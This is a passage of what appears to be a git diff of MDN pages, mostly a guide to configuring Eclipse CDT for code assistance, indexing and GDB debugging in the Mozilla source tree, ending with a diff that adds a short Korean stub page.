(Not using Eclipse to invoke your real builds does lose you some minor benefits that Eclipse has to offer, but these are worth sacrificing for much improved code assistance. See the {{ anch("Building from Eclipse") }} section below if you're interested in what you lose. If you're interested in future improvements to Eclipse that would allow parallel builds to be run from inside Eclipse while still allowing it to obtain the compiler options, see the FAQ {{ anch("Isn%27t_there_a_better_method_of_build_option_discovery.3F","Isn't there a better method of build option discovery?") }} below.)

+ +

Initial workspace preferences

+ +

When you open Eclipse, it will ask you to "Select a workspace" (a directory where Eclipse will store files that it generates during indexing, and so on.) It's recommended that you have a separate workspace containing only a single project for each Mozilla source tree [{{ anch("How_can_I_delete_my_Eclipse_project_and_start_over.3F","rational") }}], and that you choose a directory outside the Mozilla source. Something like $HOME/eclipse-workspaces/mozilla-tree-1, for example. After selecting an appropriate directory, click OK, then close the "Welcome" tab when the main Eclipse window opens.

+ +
Before you proceed any further, check that your changes to Eclipse's memory limits have taken effect and are present in Eclipse/Help > About Eclipse > Installation Details > Configuration.
+ +

To avoid confusion in this and the following sections, note that "workspace preferences" and "project properties" are different things (we'll get to the details below).

+ +

Whenever you create a new workspace for a Mozilla source tree, you should be sure to turn off the following two settings in the workspace preferences (Window > Preferences, or Eclipse > Preferences) before creating a project in that workspace:

+ + + +

Turning off automatic indexing prevents the CPU intensive indexer from running at various stages during the steps below before we're ready.

+ +

Select "General > Content Types", expand "Text > C Source File > C++ Source File", click "Add" and add "*.mm". Eclipse CDT doesn't currently understand Objective-C files (although there is a project that promises to add Objective-C support), so for now, this is the best we can do to give Eclipse a chance of expanding its understanding of the source into the Objective-C files.

+ +

Select "General > Editors > Text Editors". If you want line numbers, tick "Show line numbers". If you want a column marker to mark the 80th column to help with formatting code to Mozilla's 80 character line limit, tick "Show print margin" and set the value to 80.

+ +

Select "General > Workspace" and select "Refresh using native hooks or polling" and "Refresh on access" to prevent Eclipse giving you annoying "Resource is out of sync" messages when files change from under it due to Mercurial or other external activity.

+ +

Select "C/C++ > Build > Console" and set "Limit console output (number of lines)" to something large, like "1000000".

+ +

Eclipse CDT will try to format C/C++ code that you add as you type. However, its default formats are not a good match to Mozilla's style rules. Download this first pass at an Eclipse formatter configuration for Mozilla C/C++ coding style, and install it by opening the workspace preferences, selecting "C/C++ > Code Style > Formatter", and then using the "Import" button to import that file. The "Active profile" field should then automatically change to "Mozilla". Depending on the area of the code that you work on, you may need to tweak this configuration using the "Edit" button. (Note that the format settings under "General > Editors > Text Editors" have no effect in C/C++ views, since the C/C++ settings are more specific and override those settings. However, you may still want to tweak those settings if you'll be editing other file types in Eclipse.)

+ +

Select "C/C++ > Editor" and set "Workspace default" to "Doxygen".

+ +

Select "C/C++ > Editor > Content Assist" and set the Auto-Activation delay to 0 so that autocomplete suggestions don't seem to be laggy. (Sadly, there is no auto-activation option to activate autocomplete suggestion., so as soon as you type any alphabetical character that may begin with a symbol name like there is in other IDEs.)

+ +

Select "C/C++ > Editor > Save Actions" and deselect "Ensure newline at the end of file".

+ +

Select "C/C++ > Editor > Scalability" and set "Enable scalability mode when the number of lines in the file is more than:" to something larger, like 100000.

+ +

Select "Run/Debug > Console" and deselect "Limit console output".

+ +

If you want to increase the text size in the editor, select "General > Appearance > Colors and Fonts", select "Basic > Text Font", and edit the font size.

+ +

Creating an Eclipse project

+ +

To create an Eclipse project for your Mozilla source tree, select "File > New > Makefile Project with Existing Code". In the "Import Existing Code" window that opens, enter a meaningful Project Name that identifies your Mozilla source tree, set the code location to the root of your source tree, select an appropriate Toolchain (e.g., "MacOSX GCC"), and click Finish.

+ +

The status bar at the bottom right of the window should now show that Eclipse is "Refreshing the workspace" (gathering a list of all the files in the source tree). Click on the little green button beside this message to open the "Progress" tab, and keep an eye on the "Refreshing workspace" item as you continue with the steps below. (If an "indexing" item starts after the "Refreshing the workspace" item has finished, click the little red box beside that item to cancel it, since we want to configure the project before the indexer runs.)

+ +

Initial project properties

+ +

So that the indexer will run faster and give better results, and so that Eclipse doesn't give results for irrelevant files, you should add some resource filters to have Eclipse ignore certain non-source files and directories. Note, you must not make Eclipse ignore your (main) object directory. That object directory is needed to resolve include paths to the various headers that the build process generates/copies there.

+ +

To create resource filters, open the project properties (different to the workspace preferences!) by selecting Properties from the context menu for the project (root item) in the Project Explorer tab on the left, or by selecting Project > Properties from the menubar. Select "Resource > Resource Filters" on the left of the window that opens, then use the Add button to add the following filters:

+ + + +

Click OK to close the filters window, wait for Eclipse to finish processing your resource filters, then make sure the filtered directories and files have disappeared from the Project Explorer tab on the left. Also, if your main object directory is in your source tree, and not somewhere outside it, make sure that it has not disappeared from the Project Explorer tab.

+ +

Reopen the project properties window and select "C/C++ Build" from the left of the project properties window. Select the "Builder Settings" tab, untick "Use default build command", set the build command to "just-print-mozilla-build.py" or, if you're on Mac, to "bash -l -c 'just-print-mozilla-build.py'" (on Mac Eclipse doesn't seem to pick up the environment properly, so it's necessary to invoke just-print-mozilla-build.py indirectly through bash). (just-print-mozilla-build.py is a fast script that we'll download in the next section.) (append '--objdir /path/to/objdir' if your objdir lives outside your tree) Set the build directory to "${ProjDirPath}/path/of/your/objdir/relative/to/the/root/of/your/source". Select the "Behavior" tab, delete the word "all" from the "Build (incremental build)" field, and disable the Clean checkbox.

+ +
+

If you can't untick "Use default build command", you must change the current builder by clicking on "Tool Chain Editor" (in C/C++ Build) and choosing another builder (e.g., "Gnu Make Builder").

+
+ +

If you will not be using Eclipse for debugging, select "C/C++ Build > Settings" on the left, select the "Binary Parsers" tab, and make sure that all the parsers are deselected. This prevents the (useless if not debugging) "Searching for binaries" action from constantly interrupting everything.

+ +

If you will be using Eclipse for debugging, select "C/C++ General > Paths and Symbols" and select the "Output Location" tab. You should now add the folder containing your Firefox binary (note on Mac this is inside the .app - so "{your-obj-dir}/dist/NightlyDebug.app/Contents/MacOS/" - and since the UI will only allow you to select to the 'dist' folder, you'll need to type the end of the path in manually). How you add this depends on whether your object directory is inside or outside your source tree. If inside, use the "Add Folder" button; if outside, use the "Link Folder" button and tick the "Link to folder in the file system" checkbox. Once you've added this folder, delete the existing output folder that was set to the root of the project. Doing this prevents the "Searching for binaries" which Eclipse constantly starts from taking too long.

+ +

Select "C/C++ General > Preprocessor include Paths, Macros, and so on." Select the Providers tab. Make sure that "CDT GCC Build Output Parser" is selected, and that "CDT Managed Build Settings Entries" is not selected. Highlight (select) "CDT GCC Build Output Parser", then in the "Language Settings Provider Options" that appear below, make sure that "Share setting entries between projects (global provider)" is not ticked.

+ +
+

If the main object directory for your source tree is a Fennec build: In the "CDT GCC Build Output Parser", change the compiler command pattern to

+ +
(.*gcc)|(.*[gc]\+\+)|(clang)
+ +

(before this change it should have been "(gcc)|([gc]\+\+)|(clang)"). This pattern is what CDT uses to identify compiler commands when parsing the build output. By default, it recognizes commands of the form "gcc", "g++", "c++", and "clang". This is fine for a desktop build, where the commands are in fact "gcc" and "g++". For Fennec builds, however, most of the commands are something like "arm-linux-androideabi-g++", which will not be recognized by the default regex. The modified regex accepts any command that ends with "gcc" or "g++". This may also affect other non-desktop builds besides Fennec.

+
+ +

Especially important if the main object directory for your source tree is located somewhere outside your tree's top source directory: If this applies to you, then select the Entries tab, select "GNU C++", select "CDT User Settings Entries", and click "Add". Change "Project Path" to "Filesystem", then select the 'dist/include' directory that's in your main object directory and click OK. Repeat these steps, but this time for "GNU C" instead of "GNU C++". (See the {{ anch("Headers are only parsed once") }} section below to understand why this step is important for people who have their object directory outside their source tree.)

+ +

Getting code assistance working

+ +

You're now ready to get code assistance working. :-)

+ +

Build option discovery

+ +
This section requires that you have already built your mozilla source tree (so that you have an object directory for it), and it is strongly recommended that the object directory is up to date so that the just-print-mozilla-build.py script runs quickly.
+ +

As explained in the {{ anch("Code assistance") }} section above, to provide good code assistance Eclipse CDT needs to collect build information for the source files by processing a build log from a full, clean build made using -j1 -w. Since such a non-parallel, full build would take a very long time, we're going to cheat and set Eclipse's "Build" action to run jwatt's just-print-mozilla-build.py script instead. This script will complete in about 30 seconds on a warm tree (files cached in RAM) if your object directory is up to date, although Eclipse will take several minutes to process the "build output" that it produces.

+ +

Download just-print-mozilla-build.py and change its permissions to make it executable ('chmod a+x just-print-mozilla-build.py').

+ +

If you don't put just-print-mozilla-build.py somewhere in your PATH, then go back to the {{ anch("Initial project properties") }} section where you set just-print-mozilla-build.py and specify its absolute path instead of just its name.

+ +

Now invoke the script by clicking the Build button (the button with the hammer symbol) or by selecting "Project > Build Project" from the main menu. That done, select the "Console" tab at the bottom of the main Eclipse window and you should see the build console output flying by as Eclipse processes it. It should take about 5-10 minutes for Eclipse to finish processing the output.

+ +

Additional discovery for C++11 mode

+ +

As of Mozilla 25, Mozilla is built in C++11 mode. When GCC is invoked in C++11 mode, it defines pre-processor symbols that enable conditional compilation of C++11 code in its standard library. To correctly parse this code, Eclipse CDT needs to know about these symbols. Unfortunately, the build option discovery process outlined above does not pick up this information, so CDT needs to be told separately about C++11 mode. To do this, go to "Preferences -> C/C++ -> Build -> Settings -> [Discovery] tab -> CDT GCC Built-in Compiler Settings" and add the flag "-std=c++11" at the end of the field labeled "Command to get compiler specs".

+ +
In CDT 8.3 (unreleased as of August 2013), there will be a more user-friendly way to specify this (see http://wiki.eclipse.org/CDT/User/NewIn83#Toolchains).
+ +

Building the index

+ +

Once you see the end of the build output in the Console tab and the Build item has disappeared from the Progress tab, you can start indexing the source. If indexing started automatically (see the Progress tab), cancel it, since there seems to be a bug that makes it give bad results when it starts automatically at this stage. Right-click the project root in the Project Explorer tab and select "Index > Rebuild". You will now see "Indexing..." in the status bar at the bottom right and an Indexing item in the Progress tab. It will take 10 minutes or so on a decent developer machine for a full rebuild of the index.

+ +
Once the indexer has finished (keep an eye on the Progress tab), sanity check that everything went as it should have by right-clicking the project in the Project Explorer tab and selecting "Index > Search For Unresolved Includes". If you get many more than 2000 unresolved includes (as of May 2012), then things have gone pretty wrong. You should be able to use the list of unresolved includes to help figure out what the problem is (see also the {{ anch("Parser errors") }} section for more troubleshooting tips).
+ +

Assuming everything went as expected, you should now find that Eclipse's code assistance works a whole lot better. :-) To test out the code assistance, see the {{ anch("Code_assistance_2","Code assistance") }} subsection of the {{ anch("Usage tips") }} section below.

+ +

To improve code assistance even more, see the {{ anch("Headers are only parsed once") }} subsection of the {{ anch("Known Issues") }} section.

+ +

Keeping the index up-to-date

+ +

As the source changes from day-to-day, you'll want to update the index to keep the code assistance working well.

+ +

Since the compiler options used to build the source change relatively infrequently, the "build" step above doesn't need to be rerun all that often. Rerun it (and then rebuild the index) once a week or so, or as necessary when you start to notice unusual code assistance issues that aren't fixed by rebuilding the index alone.

+ +

Rebuilding the index itself is required much more frequently since the source changes more frequently. In principle, you can set the index to rebuild automatically by opening the workspace preferences, selecting "C/C++ > Indexer", and reenabling "Automatically update the index". However, you may find this too disruptive, since re-indexing will then happen very frequently and code assistance can be broken while the index is rebuilding. The alternative is to leave that option disabled and update the index manually as necessary. To update the index manually, use the context menu in the Project Explorer tab on the left side of the window. To rebuild for changes in an individual directory (for example, to take account of some changes that you yourself made) select "Index > Freshen All Files" on that directory. To rebuild the entire index (for example when you pull from mozilla-central) select "Index > Rebuild" on the project root.

+ +

Usage tips

+ +

Below are some of the more useful user tips. (If you're thinking of adding tips, please first consider how widely useful they'll be before adding to this already lengthy page.) For further documentation see the official Eclipse user guide and Eclipse CDT user guide.

+ +

Keyboard shortcuts

+ +

Regarding key bindings (keyboard shortcuts), the bindings given below are the defaults. You can change the key bindings by opening the workspace preferences (Eclipse > Preferences, or Window > Preferences) and selecting "General > Keys". You can set the scheme to "Emacs" or "Microsoft Visual Studio" if that's your thing, or change individual key bindings. When changing individual key bindings, note that bindings are context sensitive and that any changes you make may be ignored if they conflict with existing bindings, or if they are overridden by a binding for a more specific context. For example, changing the Find Next command to cmd-G/ctrl-G is not sufficient. For that to work you also either need to find the existing bindings for that key combination (using the Bindings column to sort by key combination helps with this) and remove them, or else you need to make your binding very specific by setting the "When" field to "C/C++ Editor" instead of the more general "Editing Text".

+ +

Opening files

+ +

You can quickly open a file by name using Cmd-Shift-R/Ctrl-Shift-R. Although Eclipse doesn't do fuzzy matching when you type a file name, it does allow you to use wildcards.

+ +

To quickly switch between a source file and its header file, use Ctrl-Tab.

+ +

To quickly switch to a recently viewed document use Cmd-F6/Ctrl-F6. If you want to change this awkward key binding, the command you need to rebind is "Next Editor".

+ +

To show a filterable list of open documents (similar to the way Emacs gives you a list of open buffers), use Cmd-E/Ctrl-E.

+ +

If you click the yellow, double arrow button at the top of the Project Explorer tab on the left, it will keep the selected file in the Project Explorer tab in sync with the file that you're currently editing.

+ +

Organizing views

+ +

Use Ctrl-M to toggle maximization of the current editor view (the editor must be focused first).

+ +

To tab to another view, use Cmd-F7/Ctrl-F7. This is useful if you have maximized the editor using Ctrl-M and you want to quickly see your search results. For example, without un-maximizing the editor.

+ +

To side-by-side edit the same file in two different tabs, select the tab of the file that you want to edit, then from the menu bar select "Window > New Editor". This will open another tab containing the same file. Now simply drag that tab to position it beside, above, or below the original. Changes you make in one editor will be immediately reflected in the other.

+ +

Note that the Search, Call Hierarchy, and other tabs have a "Pin" button that allows you to open multiple tabs of these type. This is useful if you want to keep your existing search results open, for example, and have a new search open in a separate tab rather than overriding the contents of the existing Search tab.

+ +

Code assistance

+ +
Note: indexing, by its very nature, is specific to a given compiler configuration. Be aware that when Eclipse gives results for any of the actions that follow, it will not include results for sections of the code that are ifdef'ed out by the configuration used to create your object directory. For example, if you are using a Mac and you search for callers of nsDisplayListBuilder::IsInTransform, the results will not include the caller in nsObjectFrame.cpp because that caller is wrapped in "#ifndef XP_MACOSX". Just something to keep in mind. ;-)
+ +

To jump to the definition of a symbol (or the declaration of a symbol if already at the definition), hover over the symbol, hold down the Ctrl/Cmd key, move the mouse slightly to linkify the symbol, then click on it. (Having to move the mouse slightly is Eclipse bug 26873). Alternately, you can jump to the definition of the symbol under the cursor by pressing F3.

+ +

To do a C++ symbol search select "Search > C/C++" from the menubar, or use Ctrl-H and select the "C/C++" Search tab.

+ +

To quickly find the definition of an enum, class, method, etc. use Ctrl-shift-t/Cmd-shift-t.

+ +

To get a list of autocomplete options in an editor tab, start typing the name of an identifier and then type Ctrl-Space. Unfortunately, the autocomplete list cannot (currently) be configured to appear automatically as soon as you start typing a character that might be the start of an identifier name.

+ +

To see the callers of a method (and their callers, etc.), select the method and use the context menu to select "Open Call Hierarchy". Note that there are buttons to the right of the "Open Call Hierarchy" tab that open to switch between "Show Callers" and "Show Callees".

+ +

To see the inheritance tree for a class, select its name in an editor window and select "Open Type Hierarchy" from the context menu. Note that you can switch between "Show the Type Hierarchy", "Show the Supertype Hierarchy", and "Show the Subtype Hierarchy" using the buttons to the right of the "Type Hierarchy" tab.

+ +

To see the overrides of a virtual method, select that method's name in an editor window and select "Open Type Hierarchy" or, "Quick Type Hierarchy" from the context menu. The results for "Open Type Hierarchy" will show all classes in the class inheritance tree, and the classes that have methods that override the method will have a triangular red marker beside them. If you select one of these classes, then in the method pane to the right the method you searched for will be highlighted (you may need to scroll to it) - double click to see its definition. The results for "Quick Type Hierarchy" will only show those classes in the inheritance tree that override the method. Double click on a class to go straight to its override's definition.

+ +

Building from Eclipse

+ +
In short, don't do this. Eclipse doesn't have good facilities for building incrementally in individual directories in the way that Mozilla developers generally require. More importantly, unless you're willing to screw up Eclipse's code assistance (in which case why bother using Eclipse) you're going to have to set Eclipse's "Build" step to do a very slow, non-parallel, full rebuild. (See the "Code assistance" section above for why.)
+ +

Nevertheless, if you understand the above warning and you still want to configure Eclipse's "Build" button to invoke a real build, then read on.

+ +

Basically, you want to do something similar to the steps in the {{ anch("Initial project properties") }} section above, but use "make -j1 -wB" (or just "make" if you don't care about keeping code assistance working) instead of using just-print-mozilla-build.py.

+ +

If you want to invoke "make -f client.mk" from your source directory instead of invoking 'make' from your object directory, then in the "C/C++ Build" section of the project properties, set "Build command" to "make -f client.mk" and set "Build directory" to just "${ProjDirPath}" (this is the top of the source tree). Select the Behavior tab and remove the "all" from the "Build (Incremental build)" field. Select "C/C++ Build > Build Variables", and add a variable "MOZCONFIG", and set it to the path of your .mozconfig file relative to the top source directory. Set any other environment variables you want to set for the build, then close the project properties window.

+ +

Now when you hit the Build button (the little hammer icon), you should see the source build in the Console tab at the bottom of the window.

+ +

The benefit of building from inside Eclipse is that build errors will appear in the Problems tab at the bottom of the window, and from there you can double click on the build error and it will take you straight to the source file and line where the problem occurred. For this to work reliably though, you still need to build using slow -j1 -w builds, so that make outputs non-interleaved "Entering"/"Leaving" lines. It also used to be necessary to add the following two lines to your mozconfig to make the compiler output errors all on a single line, but that may not be needed anymore:

+ +
export CFLAGS="-fmessage-length=0"
+export CPPFLAGS="-fmessage-length=0"
+
+ +

Debugging

+ +

To create a debug configuration, open the project properties window, and select "Run/Debug Settings" on the left. Click "New", then select "C/C++ Application". In the window that opens enter the path to your firefox binary (something like {your-obj-dir}/dist/NightlyDebug.app/Contents/MacOS/firefox) and select "Disable auto build". Select the Arguments tab and enter any args you want to pass to firefox (such as "--no-remote -p my-testing-profile"). If you're on Linux, you may also need to set the "Working directory" to {your-obj-dir}/dist/bin, and then select the Environment tab and set LD_LIBRARY_PATH to ".:./plugins:." and LIBRARY_PATH to ".:./components:.". (Are these variables really necessary? If so, why? Isn't LIBRARY_PATH for compile time, not runtime, linking?)

+ +

In the workspace preferences, you may want to go to "C/C++ > Debug > GDB" and deselect "Stop on startup at", so that Eclipse won't automatically break in main() when it launches Firefox for debugging.

+ +

To debug, click the Debug button on the toolbar, or select "Run > Debug" from the menu bar.

+ +

It's not obvious, but you can get a gdb prompt in the console so that you can type gdb commands directly.

+ +

After you've finished debugging, you can get back to the C/C++ perspective (i.e. window layout) via the menubar by selecting "Window > Open Perspective > C/C++".

+ +

Upgrading GDB on Mac

+ +

The ancient, barely maintained Apple fork of GDB that comes with Xcode on Mac is really horrible. If you use Mac, you may want to build the latest FSF version of GDB and set Eclipse to use that GDB for debugging. One suggested configuration for building GDB is '--prefix="$HOME" --disable-debug --with-python=/usr' (create an optimized build with support for Python (so that you can use python to much better control when you break etc.), and install it in $HOME/bin). That done, open the workspace preferences, select "C/C++ > Debug > GDB", and set "GDB Debugger" to the full path of your new gdb executable.

+ +

GDB unexpectedly detaching

+ +

If GDB starts ignoring your breakpoints, or unexpectedly terminates or detaches from the Firefox process, this may be caused by out of date breakpoints (breakpoints that you set during a previous debug session, after which you've since rebuilt). Remove any such breakpoints and restart your debug session.

+ +

Known Issues

+ +

There are various known limitations and bugs when it comes to using Eclipse with Mozilla. Eclipse is open source, of course so if anyone feels like doing a bit of Java hacking to fix these issues that'd be great. 

+ +

Headers are only parsed once

+ +

For performance reasons, Eclipse only processes header files that have include guards once, using the compiler options for the first source file it encounters that includes that header (Eclipse bug 380511). This is responsible for most of the parse errors in the source files displayed in Eclipse. One problem with the "parse once" strategy is that the compiler options for the original source file may ifdef out sections of the header, that would not be ifdef'ed out - and in fact are required by - source files in other parts of the tree.

+ +

For example, in content/svg/content/src/nsSVGEllipseElement.cpp Eclipse shows a parse error due to NS_DOM_INTERFACE_MAP_ENTRY_CLASSINFO not being defined. This define is in nsDOMClassInfoID.h, which is included via the following include chain:

+ +
content/svg/content/src/nsSVGEllipseElement.cpp
+ content/svg/content/src/nsSVGPathGeometryElement.h
+  content/svg/content/src/nsSVGGraphicElement.h
+   content/svg/content/src/nsSVGStylableElement.h
+    content/svg/content/src/nsSVGElement.h
+     content/base/src/nsGenericElement.h
+      obj-debug/dist/include/nsDOMClassInfoID.h
+
+ +

In nsDOMClassInfoID.h the NS_DOM_INTERFACE_MAP_ENTRY_CLASSINFO define is behind an |ifdef _IMPL_NS_LAYOUT|. The properties for nsSVGEllipseElement.cpp show that this define was picked up by the build option discovery and set on nsSVGEllipseElement.cpp, but somehow it's not set for nsDOMClassInfoID.h. However, if you right click on nsDOMClassInfoID.h in the Project Explorer and select "Index > Create Parser Log File", the log shows "Context" is set to "accessible/src/base/AccEvent.cpp", not "content/svg/content/src/nsSVGEllipseElement.cpp", and if you check the properties for AccEvent.cpp, indeed it is not built with the _IMPL_NS_LAYOUT define.

+ +

One way to mitigate this problem is to explicitly define defines on problem directories. For example, to solve the _IMPL_NS_LAYOUT issue described above, you would use the context menu for the 'layout' directory in the Project Explorer tab to open the directory's properties. You'd select "C/C++ General > Prepocessor Include Paths, Macros etc.", and select "GNU C++" and "CDT User Settings Entries". You'd then click "Add", select "Preprocessor Macro" from the drop-down, and set Name to _IMPL_NS_LAYOUT and leave Value blank. Finally, you'd click OK twice to return to the main Eclipse window, and then use the context menu for the 'layout' directory to re-index the 'layout' directory, and then to "Run C/C++ Code Analysis" on it to see if the problem is fixed.

+ +

This "parse once" strategy can also cause "Unresolved inclusion" errors in headers if the first time Eclipse sees the header is while indexing a file for which it doesn't have any build output parser data. (Since it then has no explicit include paths to search.) When this happens it frequently causes knock-on errors for the files that include that header (directly or indirectly), since they too now have things missing. People who have their object directory outside their source directory need to take special note of this issue. When the object directory is inside the source directory (and not filtered out by a resource filter), then Eclipse's "Allow heuristic resolution of includes" option (enabled by default) will generally allow the included headers to be found when Eclipse processes source files, that don't have any build output parser data. However, when the object directory is outside the source directory, Eclipse doesn't know about it - or the headers it contains - unless the user takes extra steps to tell it. This is the reason that the instructions in the {{ anch("Initial project properties") }} section above instruct users that have their object directory outside their source directory to explicitly add {objdir}/dist/include to the project's "CDT User Setting Entries".

+ +

Fixing Eclipse bug 381601 would considerably reduce the impact of the "Unresolved inclusion" issue. (Update 2017-03-28: The option Index all header variants has been added in version 8.3.0, as explained in a comment of the mentioned bug. This option allows to have multiple definitions for the same header file, which might fix this issue. Update 2017-11-04 by jwatt: Ticking the "Index all header variants" option caused Eclipse to blow through the 12 GB of RAM I'd given it while indexing before it ran out of memory and crashed.)

+ +

There are parser errors

+ +

It is expected that Eclipse will show parser errors even for a known-good copy of the Mozilla source. Parser errors/warnings are indicated by red/yellow markers on files in the Project Explorer tab, and in the gutter down the right-hand side of open source files. In the case of the latter you can click on the marker to jump to the problem line and then hover over the "bug" icon to get an explanation of what's wrong.

+ +

The parser error indicators don't seem to show (reliably?) until you open a source file, then error markers will be added for that file. To force all markers to show for a directory in the Project Explorer tab, right-click that directory in the Project Explorer tab and select "Run C/C++ Code Analysis". As well as adding the markers, this will give you a list of the issues in the Problems tab at the bottom of the window where you can double-click to jump to the location of any given issue.

+ +

Many of the parser errors are the result of the {{ anch("Headers are only parsed once") }} issue, while others are the result of Eclipse trying to do its best to process files that are not built under your configuration (e.g. files compiled only on other platforms) and that therefore have no build output parser data associated with them.

+ +

If you are trying to dig into a particular parser errors to figure out what it's about, here are a few things you can try:

+ +
    +
  1. Select your project in the Project Explorer, then from the context menu select "Index > Search for Unresolved Includes".
  2. +
  3. For problematic source files, select the file in the Project Explorer and from the context menu select "Index > Create Parser Log File".
  4. +
  5. Select your project in the Project Explorer, then from the context menu select "Index > Rebuild". When the indexing is done, open the log using "Window > Show View > Other > General > Error Log" and check the summary and look for exceptions.
  6. +
+ +

Searching

+ +

Free text search is not backed by a database, so it is extremely slow. Furthermore, the results are not saved so if you immediately search for the exact same text again without any changes to the source files having occurred, Eclipse will do a slow search all over again.

+ +

It is not easy to restrict searches to an arbitrary directory, which is pretty annoying given how slow free text search is. (You have to create a new working set containing that directory.)

+ +

Search history in a project is not preserved across restarts.

+ +

Duplicate searches in history - even consecutive ones - are not coalesced.

+ +

Duplicate files

+ +

Sometimes when searching for files or symbols you will be given the option between a file in the source tree, and a file of the same name under the object directory. (Some source and header files are copied to the object directory by the build process, so we end up with copies in both places.) This will happen if your object directory is inside the source directory. If you don't want to switch to using an object directory that's outside your source tree, then this is just one of those things that you'll have to live with. (If you do change the location of your object directory, then note the instructions that will then apply to you in the {{ anch("Initial project properties") }} section above!) Since the indexer needs to be able to resolve header files in the object directory in order to produce good results, we can't have Eclipse ignore the object directory. But then there's no way to tell Eclipse that any given file in the object directory is actually just a copy of a given file in the source directory and that it should always show the user the copy in the source directory while using the file in the object directory for indexing.

+ +

Building

+ +

Eclipse's support for building only in certain directories is non-existent. It would be great if the Console tab gave you a shell prompt so that you could invoke commands to build directly from there.

+ +

Failing that, it would be nice if Eclipse could at least pass information about what files have changed to the build process, which could then decide on a faster way to do the build (e.g., "just make in layout/"). I (roc) have actually written a small change to the CDT Make builder that lets you specify that as an option, in which case Eclipse sends the names of all changed files to your build tool. The build tool is a Perl script that figures out if a faster build is possible and if so, does it.

+ +

FAQ

+ +

Here are some frequently asked questions.

+ +

Why does Eclipse need an object directory?

+ +

To provide good code assistance Eclipse needs you to have a build directory for two reasons.

+ +

First, Eclipse needs to be able to collect a usable set of defines, include paths, and preinclude files for the source files in the tree, as explained in the {{ anch("Code assistance") }} section above.

+ +

Second, Eclipse CDT's indexer needs an object directory because virtually all Mozilla source files include header files (directly or indirectly) that have been copied to or generated in the object directory. Without an object directory, the indexer would find that a lot of header files are missing when processing the source files, which would significantly degrade its ability to index the source and provide good code assistance.

+ +

How can I open Eclipse for multiple trees at once?

+ +

To be able to open more than one workspace at a time, you currently need to launch a separate Eclipse process for each workspace.

+ +

On Mac, create a script called something like open-my-workspace.py, give it the following contents, replacing the bold paths as appropriate, and make it executable (chmod a+x open-my-workspace.py):

+ +
#!/usr/bin/env python
+import os, subprocess
+eclipse_app_path = "path/to/Eclipse.app/Contents/MacOS/eclipse"
+workspace_path = os.path.join(os.environ['HOME'], "HOME/relative/path/to/the/directory/of/the/workspace/you/want/to/open")
+subprocess.Popen([eclipse_app_path, "-data", workspace_path])
+# Uncomment the following line to automatically close the Terminal window
+# that opens if you run this script by double clicking it in Finder.
+#subprocess.Popen(["osascript", "-e", 'tell application "Terminal"', "-e", "close front window", "-e", "end tell"])
+
+ +

TODO: add instructions for Linux and Windows.

+ +

Is there a Mercurial plugin for Eclipse?

+ +

There is MercurialEclipse, but probably most Mozilla developers will just prefer to use the command line. If you think we need our own documentation on MercurialEclipse, please consider adding a separate page for that tool since this page is already pretty long.

+ +

How can I delete my Eclipse project and start over?

+ +

If you followed the recommendation above to create one workspace containing only one project for each Mozilla tree, then this is easy. (If you didn't, and you have projects for more than one source tree entangled in a workspace directory, well, you're on your own.) Simply delete the .project and .cproject files and the .settings directory (if it exists) from the root of your Mozilla tree, and then delete the workspace directory corresponding to your tree. That's it; you can now create a new Eclipse workspace and project for your tree from scratch.

+ +

Isn't there a better method of build option discovery?

+ +

Yes, but Eclipse doesn't currently support it. Instead of processing build console output, Eclipse could use something like LD_PRELOAD to load its own little library into all the processes that are invoked as part of the build process. This library could then check whether the process is a compiler instance and, if so, use the processes' current working directory and the arguments that were passed to it to reliably obtain the information it needs for each source file that is compiled. This would eliminate the requirement for non-parallelized, non-silenced builds. You could also build from Eclipse and get the benefits that that brings.

+ +

How can I run a more recent CDT version?

+ +

This can be useful if you need to get certain bug fixes, or to help with testing to make sure that new Eclipse bugs that affect its use with Mozilla don't get shipped. If you've downloaded an Eclipse Developer build then you can use Eclipse's software update mechanism to update your developer snapshot to the latest nightly for that developer branch. To do that, carry out the following steps.

+ +

From Eclipse's "Help" menu select "Install New Software...", then in the "Install" window that opens, click "Available Software Sites". In the window that opens, click "Add", and in the prompt set Name to something like "Nightly" and Location to something like "http://download.eclipse.org/tools/cd...s/juno/nightly" (change "juno" to the current developer branch). Click "OK", then "OK" again. Type "Nightly" into the "Work with" field and select the repository that you just added. (If it doesn't appear, close the window, reopen it from the Help menu, and try again.) A "CDT Main Features" option should now have been added in the area below. Tick this (all of its sub-options should then be ticked), click "Next" twice, accept the license agreement, and then click "Finish". Eclipse should now update itself and ask you to restart.

+ +

Troubleshooting: If you get an error when trying to update, try clicking "Available Software Sites" in the "Install" window, make sure "Juno" is still unticked, that "Nightly" is ticked, highlight "Nightly", click "Reload", "OK", and then try again.

+ +

Troubleshooting

+ +

Here is a list of problems people have encountered, and suggestions for solutions.

+ +

Problem Occurred (Java heap space)

+ +

If Eclipse becomes glacially slow or hangs and then you get this error message, see the {{ anch("Increasing memory limits") }} section above. If you already carried out the instructions in that section, then double check that your changes to Eclipse's memory limits actually took effect and are present in Eclipse/Help > About Eclipse > Installation Details > Configuration. If they did, then maybe you need to increase the limits still further for your OS/JVM combination.

+ +

Resource is out of sync with the file system

+ +

If you get the message "Resource is out of sync with the file system", then you didn't set the "Refresh" options above in the {{ anch("Initial workspace preferences") }} section. Either set those, or else refresh the project (or an individual directory/file) manually using the Refresh item from the context menu in the Project Explorer tab.

+ +

Old

+ +

Everything that follows is old content that should maybe just be deleted now?

+ +

GDB Timeouts

+ +

I don't think this old comment from 2007/2008 is an issue anymore.

+ +

Out of the box, you may/will get GDB connection timeouts. This is because Eclipse is trying to push every subfolder in GDB's environment. The easiest way to resolve this issue is to remove any source entry from the debug configuration (Run->Open Debug Dialog...) in the Source tab. Doing so will, unfortunately, remove the binding between the binaries and the source code. To keep this feature working, you need to add a "Path Mapping" by clicking "Add..." in the Source tab. Once a "Path Mapping" is created, select "Edit..." and add an entry with these values

+ +
 Compilation path: /
+ Local file system path: /
+
+ +

This is the only known workaround to bind binaries to source files. It has been tested and works perfectly under Eclipse Europa (3.3.2) with Eclipse-CDT (4.0.3).

diff --git a/files/ko/mozilla/developer_guide/eclipse/index.html b/files/ko/mozilla/developer_guide/eclipse/index.html new file mode 100644 index 0000000000..5a1b2aae8a --- /dev/null +++ b/files/ko/mozilla/developer_guide/eclipse/index.html @@ -0,0 +1,10 @@ +--- +title: Eclipse +slug: Mozilla/Developer_guide/Eclipse +tags: + - NeedsTranslation + - TopicStub +translation_of: Mozilla/Developer_guide/Eclipse +--- +

There are versions of eclipse for several of the different languages that are used by Mozilla.

+

